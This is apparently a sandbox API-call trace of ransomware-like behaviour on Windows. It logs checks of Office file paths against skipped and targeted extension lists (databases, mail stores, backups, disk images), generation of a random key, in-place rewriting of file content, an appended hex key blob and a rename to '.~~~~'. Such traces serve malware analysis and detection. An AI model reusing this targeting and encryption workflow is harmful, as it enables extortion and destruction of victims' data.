	[0146.124] lstrlenW (lpString=".com") returned 4
	[0146.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".com") returned 0x0
	[0146.124] lstrlenW (lpString=".lnk") returned 4
	[0146.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".lnk") returned 0x0
	[0146.124] lstrlenW (lpString=".msp") returned 4
	[0146.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".msp") returned 0x0
	[0146.124] lstrlenW (lpString=".pif") returned 4
	[0146.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".pif") returned 0x0
	[0146.124] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0146.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0146.126] lstrlenW (lpString=".sqb") returned 4
	[0146.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".sqb") returned 0x0
	[0146.126] lstrlenW (lpString=".ost") returned 4
	[0146.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".ost") returned 0x0
	[0146.126] lstrlenW (lpString=".txt") returned 4
	[0146.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".txt") returned 0x0
	[0146.126] lstrlenW (lpString=".mdt") returned 4
	[0146.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".mdt") returned 0x0
	[0146.127] lstrlenW (lpString=".BDB") returned 4
	[0146.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".BDB") returned 0x0
	[0146.127] lstrlenW (lpString=".eql") returned 4
	[0146.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".eql") returned 0x0
	[0146.127] lstrlenW (lpString=".DBF") returned 4
	[0146.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".DBF") returned 0x0
	[0146.127] lstrlenW (lpString=".EQL") returned 4
	[0146.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".EQL") returned 0x0
	[0146.127] lstrlenW (lpString=".FDB") returned 4
	[0146.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".FDB") returned 0x0
	[0146.127] lstrlenW (lpString=".EDB") returned 4
	[0146.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".EDB") returned 0x0
	[0146.127] lstrlenW (lpString=".DACPAC") returned 7
	[0146.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".DACPAC") returned 0x0
	[0146.127] lstrlenW (lpString=".VHD") returned 4
	[0146.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".VHD") returned 0x0
	[0146.127] lstrlenW (lpString=".DBV") returned 4
	[0146.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".DBV") returned 0x0
	[0146.127] lstrlenW (lpString=".dacpac") returned 7
	[0146.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".dacpac") returned 0x0
	[0146.127] lstrlenW (lpString=".sdf") returned 4
	[0146.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".sdf") returned 0x0
	[0146.127] lstrlenW (lpString=".accdb") returned 6
	[0146.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".accdb") returned 0x0
	[0146.127] lstrlenW (lpString=".DBX") returned 4
	[0146.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".DBX") returned 0x0
	[0146.127] lstrlenW (lpString=".MDT") returned 4
	[0146.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".MDT") returned 0x0
	[0146.127] lstrlenW (lpString=".SQB") returned 4
	[0146.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".SQB") returned 0x0
	[0146.127] lstrlenW (lpString=".vhd") returned 4
	[0146.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".vhd") returned 0x0
	[0146.128] lstrlenW (lpString=".bac") returned 4
	[0146.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".bac") returned 0x0
	[0146.128] lstrlenW (lpString=".mdf") returned 4
	[0146.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".mdf") returned 0x0
	[0146.128] lstrlenW (lpString=".BAK") returned 4
	[0146.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".BAK") returned 0x0
	[0146.128] lstrlenW (lpString=".BAC") returned 4
	[0146.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".BAC") returned 0x0
	[0146.128] lstrlenW (lpString=".dbs") returned 4
	[0146.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".dbs") returned 0x0
	[0146.128] lstrlenW (lpString=".vhdx") returned 5
	[0146.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".vhdx") returned 0x0
	[0146.128] lstrlenW (lpString=".NDF") returned 4
	[0146.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".NDF") returned 0x0
	[0146.128] lstrlenW (lpString=".dat") returned 4
	[0146.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".dat") returned 0x0
	[0146.128] lstrlenW (lpString=".DBS") returned 4
	[0146.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".DBS") returned 0x0
	[0146.128] lstrlenW (lpString=".CKP") returned 4
	[0146.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".CKP") returned 0x0
	[0146.128] lstrlenW (lpString=".edb") returned 4
	[0146.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".edb") returned 0x0
	[0146.128] lstrlenW (lpString=".PST") returned 4
	[0146.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".PST") returned 0x0
	[0146.128] lstrlenW (lpString=".dbf") returned 4
	[0146.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".dbf") returned 0x0
	[0146.129] lstrlenW (lpString=".SQL") returned 4
	[0146.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".SQL") returned 0x0
	[0146.129] lstrlenW (lpString=".pst") returned 4
	[0146.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".pst") returned 0x0
	[0146.129] lstrlenW (lpString=".dbv") returned 4
	[0146.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".dbv") returned 0x0
	[0146.129] lstrlenW (lpString=".SDF") returned 4
	[0146.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".SDF") returned 0x0
	[0146.129] lstrlenW (lpString=".dtxs") returned 5
	[0146.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".dtxs") returned 0x0
	[0146.129] lstrlenW (lpString=".db3") returned 4
	[0146.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".db3") returned 0x0
	[0146.129] lstrlenW (lpString=".OST") returned 4
	[0146.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".OST") returned 0x0
	[0146.129] lstrlenW (lpString=".dbx") returned 4
	[0146.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".dbx") returned 0x0
	[0146.129] lstrlenW (lpString=".DB3") returned 4
	[0146.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".DB3") returned 0x0
	[0146.129] lstrlenW (lpString=".DAT") returned 4
	[0146.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".DAT") returned 0x0
	[0146.129] lstrlenW (lpString=".VHDX") returned 5
	[0146.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".VHDX") returned 0x0
	[0146.129] lstrlenW (lpString=".ndf") returned 4
	[0146.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".ndf") returned 0x0
	[0146.129] lstrlenW (lpString=".DB") returned 3
	[0146.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".DB") returned 0x0
	[0146.129] lstrlenW (lpString=".sql") returned 4
	[0146.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".sql") returned 0x0
	[0146.130] lstrlenW (lpString=".MYD") returned 4
	[0146.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".MYD") returned 0x0
	[0146.130] lstrlenW (lpString=".DBT") returned 4
	[0146.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".DBT") returned 0x0
	[0146.130] lstrlenW (lpString=".ACCDB") returned 6
	[0146.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".ACCDB") returned 0x0
	[0146.130] lstrlenW (lpString=".fdb") returned 4
	[0146.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".fdb") returned 0x0
	[0146.130] lstrlenW (lpString=".bak") returned 4
	[0146.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".bak") returned 0x0
	[0146.130] lstrlenW (lpString=".myd") returned 4
	[0146.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".myd") returned 0x0
	[0146.130] lstrlenW (lpString=".DTXS") returned 5
	[0146.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".DTXS") returned 0x0
	[0146.130] lstrlenW (lpString=".ckp") returned 4
	[0146.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".ckp") returned 0x0
	[0146.130] lstrlenW (lpString=".dbt") returned 4
	[0146.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".dbt") returned 0x0
	[0146.130] lstrlenW (lpString=".db") returned 3
	[0146.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".db") returned 0x0
	[0146.130] lstrlenW (lpString=".TXT") returned 4
	[0146.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".TXT") returned 0x0
	[0146.130] lstrlenW (lpString=".MDF") returned 4
	[0146.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".MDF") returned 0x0
	[0146.130] lstrlenW (lpString=".bdb") returned 4
	[0146.130] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".bdb") returned 0x0
	[0146.131] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0146.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0146.131] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395da0) returned 1
	[0146.132] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0146.132] CryptReleaseContext (hProv=0x395da0, dwFlags=0x0) returned 1
	[0146.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0146.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0146.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0146.132] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26612220112) returned 1
	[0146.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xc080ca90, dwHighDateTime=0x1d60e1e)) 
	[0146.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0146.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0146.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0146.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a1f40
	[0146.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1f40 | out: hHeap=0x300000) returned 1
	[0146.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.133] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0146.133] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870728
	[0146.133] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0146.133] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0146.133] GetLastError () returned 0x0
	[0146.133] GetLastError () returned 0x0
	[0146.133] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0146.133] GetLastError () returned 0x0
	[0146.172] GetLastError () returned 0x0
	[0146.172] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.176] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.176] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0146.221] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.221] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.224] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.224] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.224] CloseHandle (hObject=0x138) returned 1
	[0146.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aca58
	[0146.226] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll.~~~~")) returned 1
	[0146.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0146.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0146.283] GetLastError () returned 0x0
	[0146.283] RtlWakeConditionVariable () returned 0x0
	[0146.283] GetCurrentThreadId () returned 0x9f4
	[0146.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".scr") returned 0x0
	[0146.283] lstrlenW (lpString=".cmd") returned 4
	[0146.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".cmd") returned 0x0
	[0146.283] lstrlenW (lpString=".dll") returned 4
	[0146.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".dll") returned 0x0
	[0146.283] lstrlenW (lpString=".bat") returned 4
	[0146.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".bat") returned 0x0
	[0146.283] lstrlenW (lpString=".cpl") returned 4
	[0146.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".cpl") returned 0x0
	[0146.284] lstrlenW (lpString=".sys") returned 4
	[0146.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".sys") returned 0x0
	[0146.284] lstrlenW (lpString=".msc") returned 4
	[0146.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".msc") returned 0x0
	[0146.284] lstrlenW (lpString=".com") returned 4
	[0146.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".com") returned 0x0
	[0146.284] lstrlenW (lpString=".lnk") returned 4
	[0146.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".lnk") returned 0x0
	[0146.284] lstrlenW (lpString=".msp") returned 4
	[0146.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".msp") returned 0x0
	[0146.284] lstrlenW (lpString=".pif") returned 4
	[0146.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".pif") returned 0x0
	[0146.284] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0146.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0146.286] lstrlenW (lpString=".sqb") returned 4
	[0146.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".sqb") returned 0x0
	[0146.287] lstrlenW (lpString=".ost") returned 4
	[0146.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".ost") returned 0x0
	[0146.287] lstrlenW (lpString=".txt") returned 4
	[0146.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".txt") returned 0x0
	[0146.287] lstrlenW (lpString=".mdt") returned 4
	[0146.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".mdt") returned 0x0
	[0146.287] lstrlenW (lpString=".BDB") returned 4
	[0146.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".BDB") returned 0x0
	[0146.287] lstrlenW (lpString=".eql") returned 4
	[0146.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".eql") returned 0x0
	[0146.287] lstrlenW (lpString=".DBF") returned 4
	[0146.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".DBF") returned 0x0
	[0146.287] lstrlenW (lpString=".EQL") returned 4
	[0146.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".EQL") returned 0x0
	[0146.287] lstrlenW (lpString=".FDB") returned 4
	[0146.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".FDB") returned 0x0
	[0146.287] lstrlenW (lpString=".EDB") returned 4
	[0146.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".EDB") returned 0x0
	[0146.287] lstrlenW (lpString=".DACPAC") returned 7
	[0146.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".DACPAC") returned 0x0
	[0146.287] lstrlenW (lpString=".VHD") returned 4
	[0146.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".VHD") returned 0x0
	[0146.287] lstrlenW (lpString=".DBV") returned 4
	[0146.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".DBV") returned 0x0
	[0146.288] lstrlenW (lpString=".dacpac") returned 7
	[0146.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".dacpac") returned 0x0
	[0146.288] lstrlenW (lpString=".sdf") returned 4
	[0146.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".sdf") returned 0x0
	[0146.288] lstrlenW (lpString=".accdb") returned 6
	[0146.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL", lpSrch=".accdb") returned 0x0
